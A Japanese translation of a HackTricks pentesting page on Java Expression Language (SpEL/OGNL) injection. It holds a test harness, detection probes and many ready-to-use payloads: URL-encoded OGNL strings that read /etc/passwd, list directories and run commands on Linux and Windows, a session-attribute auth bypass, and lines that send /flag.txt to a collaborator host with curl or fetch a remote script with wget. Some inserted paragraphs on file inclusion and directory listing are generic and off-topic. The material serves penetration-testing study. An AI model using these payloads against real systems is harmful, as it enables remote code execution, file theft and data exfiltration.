19 KiB
EL - 式言語
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
基本情報
ELは、プレゼンテーション層(Webページ)とアプリケーションロジック(管理されたBean)の間で通信を可能にする重要なメカニズムを提供します。
どこで使用されていますか?
- Spring Framework:セキュリティ、データなど
- SpEL APIを使用する開発者が使用する場所
- 言語によっては、Java、Kotlin、Scala、および他のJVMベースのテクノロジーで使用できます。
ELは、JavaServer Facesテクノロジー、JavaServer Pages(JSP)テクノロジー、およびJava EEのコンテキストと依存性の注入(CDI)など、いくつかのJavaEEテクノロジーで使用されます。ELはスタンドアロン環境でも使用できます。
Javaアプリケーションは、.jspや**.jsfのような拡張子を使用し、スタックエラーをスローし、ヘッダーで「Serverlet」という用語**を使用するため、簡単に識別できます。
{% hint style="info" %} ELのバージョンによっては、一部の機能がオンまたはオフになる場合があり、通常は一部の文字が許可されない場合があります。 {% endhint %}
基本的な例
(https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/にELに関する別の興味深いチュートリアルがあります)
Mavenリポジトリから以下のjarファイルをダウンロードします。
commons-lang3-3.9.jar
spring-core-5.2.1.RELEASE.jar
commons-logging-1.2.jar
spring-expression-5.2.1.RELEASE.jar
そして、次のMain.java
ファイルを作成します。
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class Main {
public static ExpressionParser PARSER;
public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();
System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}
次に、コードをコンパイルします(javac
がインストールされていない場合は、sudo apt install default-jdk
をインストールしてください):
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
以下のコマンドでアプリケーションを実行します:
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
前の例では、{5*5}
という用語が評価されたことに注目してください。
CVEの例
すでに見てきたとおり、開発者がユーザー入力でSpELを使用している場合、インジェクション用のペイロードを作成する必要があります。リモートコード実行(RCE)を許可するものをチェックしてみましょう。これは、CVE-2017–8046のエクスプロイトの一部として作成されました。
それは3つの部分で構成されています:
- 黒色 - コマンドの実行結果をHTTPリクエストの出力ストリームに直接コピーする
- 赤色 - Javaランタイムを取得し、システムでコマンドを実行する
- 青色 - コマンドを含む文字列:
cmd /c dir
。コマンドの各文字を数値からデコードして、より堅牢にします。
実行結果:
ペイロード
基本的なアクション
#Basic string operations examples
{"a".toString()}
[a]
{"dfd".replace("d","x")}
[xfx]
#Access to the String class
{"".getClass()}
[class java.lang.String]
#Access ro the String class bypassing "getClass"
#{""["class"]}
#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]
#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
検出
- Burpの検出
gk6q${“zkz”.toString().replace(“k”, “x”)}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
- J2EEの検出
#J2EEScan Detection vector (substitute the content of the response body with the content of the “INJPARAM” parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
- 10秒間スリープする
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
リモートファイルインクルージョン
Remote File Inclusion(リモートファイルインクルージョン)は、ウェブアプリケーションの脆弱性の一つであり、攻撃者がリモートサーバー上の外部ファイルをウェブアプリケーションに組み込むことができるものです。この攻撃は、ウェブアプリケーションがユーザーの入力を適切に検証せずに使用する場合に発生します。
攻撃者は、ウェブアプリケーションにリモートサーバー上の任意のファイルを組み込むことができるため、悪意のあるコードを実行することが可能です。これにより、攻撃者はシステムに対して様々な攻撃を行うことができます。
リモートファイルインクルージョンの攻撃を防ぐためには、ウェブアプリケーションがユーザーの入力を適切に検証し、信頼できるソースからのみ外部ファイルを組み込むようにする必要があります。また、セキュリティパッチやアップデートを定期的に適用することも重要です。
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
ディレクトリリスト
ディレクトリリストとは、ウェブサーバー上のディレクトリ内のファイルとサブディレクトリの一覧を表示する機能です。ディレクトリリストは、ウェブサイトのセキュリティに関する情報を漏洩する可能性があるため、セキュリティ上の懸念があります。攻撃者はディレクトリリストを使用して、ウェブサイトの構造やファイルの配置に関する情報を収集し、潜在的な脆弱性を特定することができます。
ディレクトリリストの表示を防ぐためには、ウェブサーバーの設定を適切に構成する必要があります。一般的な方法は、ウェブサーバーの設定ファイルでディレクトリリストの無効化を指定することです。また、ディレクトリにindex.htmlやindex.phpなどのデフォルトのインデックスファイルを配置することも有効です。
ディレクトリリストが有効になっている場合、攻撃者はウェブサイトの構造やファイルの配置に関する情報を入手し、潜在的な脆弱性を特定することができます。そのため、ディレクトリリストの無効化は、ウェブサイトのセキュリティを向上させるために重要な手順です。
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
RCE
- RCEの基本的な説明
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]
#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
- RCE linux
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
- RCE Windows(未検証)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
- さらなるRCE
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}
// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
環境の検査
applicationScope
- グローバルなアプリケーション変数requestScope
- リクエスト変数initParam
- アプリケーションの初期化変数sessionScope
- セッション変数param.X
- XがHTTPパラメータの名前である場合のパラメータの値
これらの変数は、次のようにStringにキャストする必要があります:
${sessionScope.toString()}
認証バイパスの例
${7*7}
This example demonstrates a simple expression that performs a mathematical calculation. The expression ${7*7}
will be evaluated by the server-side template engine, resulting in the value 49
being displayed on the web page.
この例では、数学的な計算を行う単純な式を示しています。${7*7}
という式は、サーバーサイドのテンプレートエンジンによって評価され、ウェブページには値49
が表示されます。
${pageContext.request.getSession().setAttribute("admin", true)}
アプリケーションは、カスタム変数も使用することができます。以下のような例です:
${user}
${password}
${employee.FirstName}
WAF バイパス
https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/を確認してください。
参考文献
- https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/
- https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools
- https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう、独占的なNFTsのコレクションです
- 公式のPEASS&HackTricksのグッズを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。